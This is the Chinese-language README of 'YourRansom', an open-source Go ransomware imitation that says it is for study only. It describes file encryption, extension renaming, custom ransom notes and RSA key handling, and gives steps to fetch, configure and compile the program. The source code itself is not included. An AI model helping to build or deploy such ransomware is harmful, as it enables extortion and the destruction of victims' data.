简单地用Golang写的“勒索软件”仿制品,仅用于学习和研究,实现了基本的加密、解密、改扩展名操作。支持自行设定readme文件、在线下载readme文件、自定义文件后缀名和提示信息。
加密后的key将存于同目录下YourRansom.key文件,该文件解密后得到YourRansom.dkey置于同目录,再次执行软件本体即可解密。
名字向前辈 Tlaster/YourAV 致敬。
-
下载并安装Golang环境:https://golang.org/doc/install
-
使用go get下载该项目到本地:
go get github.com/popu125/YourRansom -
修改YourRansom的参数,使用您的文本编辑器打开
$GOPATH/src/github.com/popu125/YourRansom/data.go,如果您未设置GOPATH环境变量,那么打开$HOME/go/src/github.com/popu125/YourRansom/data.go(Unix-like)或%USERPROFILE%\go\src\github.com\popu125\YourRansom\data.go(Windows) -
编译YourRansom,执行:
go build -x github.com/popu125/YourRansom,编译完成的可执行文件将存于当前工作目录。
目前已提供视频教程,第一次录有些语无伦次还请原谅。https://vimeo.com/212410532
解密需要将加密时生成的key文件使用解密工具和配置中的公钥所对应的RSA私钥解密为dkey文件后与YourRansom程序置于同目录,并再次运行YourRansom。
解密key的步骤可以参考:https://goo.gl/Z8uc5l
一个RSA密钥对由一个公钥和一个私钥组成,YourRansom参数中需要填入的是公钥,但请务必妥善保管私钥。
关于如何生成,可以使用我们提供的生成工具。
基于GPLv3协议和[不作恶]附加协议开源。
[不作恶]附加协议内容在LICENSE.additional文件中。